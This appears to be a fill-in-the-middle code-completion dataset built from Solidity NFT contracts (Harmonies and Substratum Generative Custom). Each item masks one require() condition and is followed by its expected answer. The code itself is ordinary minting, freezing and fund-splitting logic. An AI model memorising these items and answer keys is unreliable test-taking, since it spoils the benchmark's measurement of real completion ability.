require(<FILL_ME>)
require(msg.value >= cost * numberOfTokens, "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, token_id);
token_id++;
}
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| totalSupply().add(numberOfTokens)<MAX,"Purchase would exceed max supply of Harmonies" | 62,177 | totalSupply().add(numberOfTokens)<MAX |
"data is frozen" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
require(<FILL_ME>)
dataURL = _url;
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| !freeze,"data is frozen" | 62,177 | !freeze |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
uint256 _u1 = address(this).balance * 34/100;
uint256 _u2 = address(this).balance * 33/100;
uint256 _u3 = address(this).balance * 33/100;
require(<FILL_ME>)
require(payable(t2).send(_u2));
require(payable(t3).send(_u3));
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| payable(t1).send(_u1) | 62,177 | payable(t1).send(_u1) |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
uint256 _u1 = address(this).balance * 34/100;
uint256 _u2 = address(this).balance * 33/100;
uint256 _u3 = address(this).balance * 33/100;
require(payable(t1).send(_u1));
require(<FILL_ME>)
require(payable(t3).send(_u3));
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| payable(t2).send(_u2) | 62,177 | payable(t2).send(_u2) |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
uint256 _u1 = address(this).balance * 34/100;
uint256 _u2 = address(this).balance * 33/100;
uint256 _u3 = address(this).balance * 33/100;
require(payable(t1).send(_u1));
require(payable(t2).send(_u2));
require(<FILL_ME>)
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| payable(t3).send(_u3) | 62,177 | payable(t3).send(_u3) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title Substratum Generative Custom v1.2
* @notice This is a customized ERC-721 contract for Substratum Generative Custom.
* @author Matto
* @custom:security-contact [email protected]
*/
contract Substratum_Generative_Custom is ERC721Royalty, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for string;
Counters.Counter public tokensMinted;
string public baseURI;
string public description;
bool public projectLocked;
uint8 public mintStage;
uint16 public maxSupply = 65535;
uint96 private platformBPS;
uint96 private royaltyBPS;
uint256 public mintFee;
mapping(uint256 => string) public projectData;
mapping(uint256 => string) public customDataOf;
mapping(uint256 => uint256) public tokenEntropyOf;
mapping(uint256 => uint256) public transferCountOf;
address private artistAddress;
address private minterAddress;
address private platformAddress;
address private secondaryAddress; // Payment Splitter Contract
constructor() ERC721("Substratum Generative Custom", "SGC") {}
/**
* CUSTOM EVENTS
* @notice These events are watched by the substratum.art platform.
* @dev These will be monitored by the custom backend. They will trigger
* updating the API with data stored in projectData, as well as data returned
* by the scriptInputsOf() function.
*/
/**
* @notice The ProjectData event is emitted from writeProjectData function.
* @dev indexed keyword is added to scriptIndex for searchability.
* @param scriptIndex is index in the mapping that is being updated.
* @param oldScript is the data being replaced, potentially "".
* @param newScript is the new data stored to chain.
*/
event ProjectData(
uint256 indexed scriptIndex,
string oldScript,
string newScript
);
/**
* @notice The TokenUpdated event is emitted from multiple functions that
* that affect the rendering of traits/image of the token.
* @dev indexed keyword is added to tokeId for searchability.
* @param tokenId is the token that is being updated.
* @param data is the new data regarding the change.
*/
event TokenUpdated(
uint256 indexed tokenId,
string data
);
/**
* MODIFIERS
* @notice These are reusable code to control function execution.
*/
/**
* @notice onlyMinters modifier controls accounts that can mint.
* @dev This modifier will only allow transactions from the minter or
* artist accounts.
*/
modifier onlyMinters() {
}
/**
* @notice onlyArtist restricts functions to the artist.
*/
modifier onlyArtist()
{
}
/**
* @notice onlyAuthorized restricts functions to the three accounts stored
* on the contract, the owner, the artist, and the platform.
*/
modifier onlyAuthorized()
{
}
/**
* OVERRIDE FUNCTIONS
* @notice These functions are declared as overrides because functions of the
* same name exist in imported contracts.
* @dev 'super._transfer' calls the overridden function.
*/
/**
* @notice _baseURI is an internal function that returns a state value.
* @dev This override is needed when using a custom baseURI.
* @return baseURI, which is a state value.
*/
function _baseURI()
internal
view
override
returns (string memory)
{
}
/**
* @notice _transfer override adds logic to track transfer counts as well as
* the prior owner.
* @dev This override updates mappings and then calls the overridden function.
* @param _from is the address the token is being sent from.
* @param _to is the address the token is being sent to.
* @param _tokenId is the token being transferred.
*/
function _transfer(
address _from,
address _to,
uint256 _tokenId
)
internal
virtual
override
{
}
/**
* RECEIVING FUNCTIONS
* @notice These functions are required for the contract to be able to
* receive Ether.
*/
/**
* @dev The receive() function receives Ether when msg.data is empty.
* @dev The fallback() function receives Ether when msg.data is not empty.
*/
receive() external payable {}
fallback() external payable {}
/**
* CUSTOM VIEW FUNCTIONS
* @notice These are custom view functions implemented for efficiency.
*/
/**
* @notice getAddresses returns all addresses and fee BPS details.
* @dev These state variables are private to reduce contract file size
* and to make it more efficient to check all addresses.
*/
function getAddresses()
external
view
returns (string memory)
{
}
/**
* @notice scriptInputsOf returns the input data necessary for the generative
* script to create/recreate a Substratum_Generative_Custom token.
* @dev For any given token, this function returns all the on-chain data that
* is needed to be inputted into the generative script to deterministically
* reproduce both the token's artwork and metadata.
* @dev entropyString is set outside of the return to standardize this code.
* @param _tokenId is the token whose inputs will be returned.
* @return scriptInputs are returned in JSON format.
*/
function scriptInputsOf(
uint256 _tokenId
)
external
view
returns (string memory)
{
}
/**
* OWNER CONTROLS
* @notice These functions have various levels of owner control mechanisms in
* place, and can have artist or platform overrides.
* @dev All functions should use appropriate 'msg.sender == address' checks.
*/
/**
* @notice setCustomData allows token owners to update information stored
* on-chain.
* @dev artist is given access to assist owners for their safety.
* @param _tokenId is the token to update.
* @param _customData is the new data that is being stored.
*/
function setCustomData(
uint256 _tokenId,
string memory _customData
)
external
{
}
/**
* ARTIST CONTROLS
* @notice These functions have various levels of artist-only control
* mechanisms in place.
* @dev All functions should use onlyArtist modifier.
*/
/**
* @notice lowerMaxSupply allows changes to the maximum iteration count,
* a value that is checked against during mint.
* @dev This function will only update the maxSupply variable if the
* submitted value is lower. maxSupply is used in the internal _minter
* function to cap the number of available tokens.
* @param _maxSupply is the new maximum supply.
*/
function lowerMaxSupply(
uint16 _maxSupply
)
external
onlyArtist
{
}
/**
* @notice setMintStage sets the stage of the mint.
* @dev This is used instead of public view booleans to save contract size.
* @param _mintStage is the new stage for the mint: 0 for disabled, 1 for
* public mint (following logic: 0-false, 1-true).
* Other stages may be added as 2, 3, etc.
*/
function setMintStage(
uint8 _mintStage
)
external
onlyArtist
{
}
/**
* @notice setMintFee sets the price per mint.
* @dev This function allows changes to the payment amount that is required
* for minting.
* @param _mintFee is the cost per mint in Wei.
*/
function setMintFee(
uint256 _mintFee
)
external
onlyArtist
{
}
/**
* @notice setDescription updates the on-chain description.
* @dev This is separate from other update functions because the description
* size may be large and thus expensive to update.
* @param _description is the new description. Quotation marks are not needed.
*/
function setDescription(
string memory _description
)
external
onlyArtist
{
}
/**
* @notice mintToAddress can only be called by the artist and the minter
* account, and it mints to a specified address.
* @dev Variation of a mint function that uses a submitted address as the
* account to mint to. The artist account can bypass the publicMintActive
* requirement.
* @param _to is the address to send the token to.
*/
function mintToAddress(
address _to
)
external
payable
nonReentrant
onlyMinters
{
}
/**
* ARTIST AND PLATFORM CONTROLS
* @notice functions can be called by both the artist and platform address.
* @dev the onlyAuthorized modifier used to check authorization.
*/
/**
* @notice pauseMint is a safeguard that pauses mint (only artist can unpause).
* @dev onlyAuhtorized modifier gates access.
*/
function pauseMint()
external
onlyAuthorized
{
}
/**
* @notice setMinterAddress sets/updates the project's approved minting address.
* @dev minter can be a any type of account.
* @param _minterAddress is the new account to be set as the minter.
*/
function setMinterAddress(
address _minterAddress
)
external
onlyAuthorized
{
}
/**
* @notice writeProjectData allows storage of the generative script on-chain.
* @dev This will store the generative script needed to reproduce Substratum_Generative_Custom
* tokens, along with other information and instructions. Vanilla JavaScript
* and p5.js v1.0.0 are other dependencies.
* @param _index identifies where the script data should be stored.
* @param _newScript is the new script data.
*/
function writeProjectData(
uint256 _index,
string memory _newScript
)
external
onlyAuthorized
{
require(<FILL_ME>)
emit ProjectData(_index, projectData[_index], _newScript);
projectData[_index] = _newScript;
}
/**
* @notice withdraw is used to send funds to the payments addresses.
* @dev Withdraw cannot be called if the payments addresses are not set.
*/
function withdraw()
external
onlyAuthorized
{
}
/**
* PLATFORM CONTROLS
* @notice These are contract-level controls.
* @dev all should use the onlyOwner modifier.
*/
/**
* @notice lockScripts freezes the projectData storage.
* @dev The project must be fully minted before this function is callable.
*/
function lockScripts()
external
onlyOwner
{
}
/**
* @notice setPrimaryData supplies information needed for splitting mint funds.
* @dev This must be set prior to withdrawl function use.
* @param _artistAddress is the new artist address.
* @param _platformAddress is the new platform address.
* @param _platformBPS is the platform fee amount, measured in base
* percentage points.
*/
function setPrimaryData(
address _artistAddress,
address _platformAddress,
uint96 _platformBPS
)
external
onlyOwner
{
}
/**
* @notice setSecondaryData updates the royalty address and BPS for the project.
* @dev This function allows changes to the payments address and secondary sale
* royalty amount. After setting values, _setDefaultRoyalty is called in
* order to update the imported EIP-2981 contract functions.
* @param _secondaryAddress is the new payments address.
* @param _royaltyBPS is the new projet royalty amount, measured in
* base percentage points.
*/
function setSecondaryData(
address _secondaryAddress,
uint96 _royaltyBPS
)
external
onlyOwner
{
}
/**
* @notice setURI sets/updates the project's baseURI.
* @dev baseURI is appended with tokenId and is returned in tokenURI calls.
* @dev _newBaseURI is used instead of _baseURI because an override function
* with that name already exists.
* @param _newBaseURI is the API endpoint base for tokenURI calls.
*/
function setURI(
string memory _newBaseURI
)
external
onlyOwner
{
}
/**
* INTERNAL FUNCTIONS
* @notice these are helper functions that can only be called from within
* this contract.
*/
/**
* @notice _minter is the internal function that generates mints.
* @dev Minting function called by the public 'mintToAddress' function.
* The artist can bypass the payment requirement.
* @param _to is the address to send the token to.
*/
function _minter(
address _to
)
internal
{
}
/**
* @notice _assignDecimalEntropy generates the token's decimal entropy.
* @dev This creates a series of digits used as token entropy, created
* from various data inputs. Even with concurrent mints in a single block,
* each _tokenId will be unique, resulting in unique hashes.
* @param _tokenId is the token that the data will get assigned to.
*/
function _assignDecimalEntropy(
uint256 _tokenId
)
internal
{
}
}
| !projectLocked | 62,208 | !projectLocked |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title Substratum Generative Custom v1.2
* @notice This is a customized ERC-721 contract for Substratum Generative Custom.
* @author Matto
* @custom:security-contact [email protected]
*/
contract Substratum_Generative_Custom is ERC721Royalty, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for string;
Counters.Counter public tokensMinted;
string public baseURI;
string public description;
bool public projectLocked;
uint8 public mintStage;
uint16 public maxSupply = 65535;
uint96 private platformBPS;
uint96 private royaltyBPS;
uint256 public mintFee;
mapping(uint256 => string) public projectData;
mapping(uint256 => string) public customDataOf;
mapping(uint256 => uint256) public tokenEntropyOf;
mapping(uint256 => uint256) public transferCountOf;
address private artistAddress;
address private minterAddress;
address private platformAddress;
address private secondaryAddress; // Payment Splitter Contract
constructor() ERC721("Substratum Generative Custom", "SGC") {}
/**
* CUSTOM EVENTS
* @notice These events are watched by the substratum.art platform.
* @dev These will be monitored by the custom backend. They will trigger
* updating the API with data stored in projectData, as well as data returned
* by the scriptInputsOf() function.
*/
/**
* @notice The ProjectData event is emitted from writeProjectData function.
* @dev indexed keyword is added to scriptIndex for searchability.
* @param scriptIndex is index in the mapping that is being updated.
* @param oldScript is the data being replaced, potentially "".
* @param newScript is the new data stored to chain.
*/
event ProjectData(
uint256 indexed scriptIndex,
string oldScript,
string newScript
);
/**
* @notice The TokenUpdated event is emitted from multiple functions that
* that affect the rendering of traits/image of the token.
* @dev indexed keyword is added to tokeId for searchability.
* @param tokenId is the token that is being updated.
* @param data is the new data regarding the change.
*/
event TokenUpdated(
uint256 indexed tokenId,
string data
);
/**
* MODIFIERS
* @notice These are reusable code to control function execution.
*/
/**
* @notice onlyMinters modifier controls accounts that can mint.
* @dev This modifier will only allow transactions from the minter or
* artist accounts.
*/
modifier onlyMinters() {
}
/**
* @notice onlyArtist restricts functions to the artist.
*/
modifier onlyArtist()
{
}
/**
* @notice onlyAuthorized restricts functions to the three accounts stored
* on the contract, the owner, the artist, and the platform.
*/
modifier onlyAuthorized()
{
}
/**
* OVERRIDE FUNCTIONS
* @notice These functions are declared as overrides because functions of the
* same name exist in imported contracts.
* @dev 'super._transfer' calls the overridden function.
*/
/**
* @notice _baseURI is an internal function that returns a state value.
* @dev This override is needed when using a custom baseURI.
* @return baseURI, which is a state value.
*/
function _baseURI()
internal
view
override
returns (string memory)
{
}
/**
* @notice _transfer override adds logic to track transfer counts as well as
* the prior owner.
* @dev This override updates mappings and then calls the overridden function.
* @param _from is the address the token is being sent from.
* @param _to is the address the token is being sent to.
* @param _tokenId is the token being transferred.
*/
function _transfer(
address _from,
address _to,
uint256 _tokenId
)
internal
virtual
override
{
}
/**
* RECEIVING FUNCTIONS
* @notice These functions are required for the contract to be able to
* receive Ether.
*/
/**
* @dev The receive() function receives Ether when msg.data is empty.
* @dev The fallback() function receives Ether when msg.data is not empty.
*/
receive() external payable {}
fallback() external payable {}
/**
* CUSTOM VIEW FUNCTIONS
* @notice These are custom view functions implemented for efficiency.
*/
/**
* @notice getAddresses returns all addresses and fee BPS details.
* @dev These state variables are private to reduce contract file size
* and to make it more efficient to check all addresses.
*/
function getAddresses()
external
view
returns (string memory)
{
}
/**
* @notice scriptInputsOf returns the input data necessary for the generative
* script to create/recreate a Substratum_Generative_Custom token.
* @dev For any given token, this function returns all the on-chain data that
* is needed to be inputted into the generative script to deterministically
* reproduce both the token's artwork and metadata.
* @dev entropyString is set outside of the return to standardize this code.
* @param _tokenId is the token whose inputs will be returned.
* @return scriptInputs are returned in JSON format.
*/
function scriptInputsOf(
uint256 _tokenId
)
external
view
returns (string memory)
{
}
/**
* OWNER CONTROLS
* @notice These functions have various levels of owner control mechanisms in
* place, and can have artist or platform overrides.
* @dev All functions should use appropriate 'msg.sender == address' checks.
*/
/**
* @notice setCustomData allows token owners to update information stored
* on-chain.
* @dev artist is given access to assist owners for their safety.
* @param _tokenId is the token to update.
* @param _customData is the new data that is being stored.
*/
function setCustomData(
uint256 _tokenId,
string memory _customData
)
external
{
}
/**
* ARTIST CONTROLS
* @notice These functions have various levels of artist-only control
* mechanisms in place.
* @dev All functions should use onlyArtist modifier.
*/
/**
* @notice lowerMaxSupply allows changes to the maximum iteration count,
* a value that is checked against during mint.
* @dev This function will only update the maxSupply variable if the
* submitted value is lower. maxSupply is used in the internal _minter
* function to cap the number of available tokens.
* @param _maxSupply is the new maximum supply.
*/
function lowerMaxSupply(
uint16 _maxSupply
)
external
onlyArtist
{
}
/**
* @notice setMintStage sets the stage of the mint.
* @dev This is used instead of public view booleans to save contract size.
* @param _mintStage is the new stage for the mint: 0 for disabled, 1 for
* public mint (following logic: 0-false, 1-true).
* Other stages may be added as 2, 3, etc.
*/
function setMintStage(
uint8 _mintStage
)
external
onlyArtist
{
}
/**
* @notice setMintFee sets the price per mint.
* @dev This function allows changes to the payment amount that is required
* for minting.
* @param _mintFee is the cost per mint in Wei.
*/
function setMintFee(
uint256 _mintFee
)
external
onlyArtist
{
}
/**
* @notice setDescription updates the on-chain description.
* @dev This is separate from other update functions because the description
* size may be large and thus expensive to update.
* @param _description is the new description. Quotation marks are not needed.
*/
function setDescription(
string memory _description
)
external
onlyArtist
{
}
/**
* @notice mintToAddress can only be called by the artist and the minter
* account, and it mints to a specified address.
* @dev Variation of a mint function that uses a submitted address as the
* account to mint to. The artist account can bypass the publicMintActive
* requirement.
* @param _to is the address to send the token to.
*/
function mintToAddress(
address _to
)
external
payable
nonReentrant
onlyMinters
{
}
/**
* ARTIST AND PLATFORM CONTROLS
* @notice functions can be called by both the artist and platform address.
